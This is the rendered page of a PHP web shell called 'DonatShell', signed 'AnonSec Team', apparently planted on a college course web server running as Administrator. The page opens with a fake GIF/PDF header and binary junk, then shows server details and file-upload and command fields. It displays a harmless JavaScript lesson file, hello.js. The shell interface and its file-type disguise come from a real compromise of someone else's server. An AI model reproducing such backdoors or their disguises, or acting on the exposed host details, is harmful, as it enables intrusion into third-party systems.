GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1022/Resources/Week/06/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1022/Resources/Week/06/hello.js
"use strict";

function hello(name) {
  let phrase = `Hello, ${name}!`;
  console.log(`backtics phrase = ${phrase}.`);
  console.log("quotes phrase = " + phrase) + ".";
  //debugger; // Create a breakpoint.
  say(phrase);
}

function say(phrase) {
  alert(`** ${phrase} **`);
}

let myVar = pow(2, 6);
console.log(`myVar = ${myVar}`);

// Show console.log
// open console to see
for (let i = 0; i < 5; i++) {
  console.log("value,", i);
}

// backtick quotes ` allow to split the string into multiple lines
let str = `
  ECMA International's TC39 is a group of JavaScript developers,
  implementers, academics, and more, collaborating with the community
  to maintain and evolve the definition of JavaScript.
`;

// just quotes ` allow to split the string into multiple lines
let str2 = "ECMA International's TC39 is a group of JavaScript developers, implementers, academics, and more, collaborating with the community to maintain and evolve the definition of JavaScript.";

/**
 * Returns x raised to the n-th power.
 *
 * @param {number} x The number to raise.
 * @param {number} n The power, must be a natural number.
 * @return {number} x raised to the n-th power.
 */
 function pow(x, n) {
  return x ** n;
}

Anon7 - 2022
AnonSec Team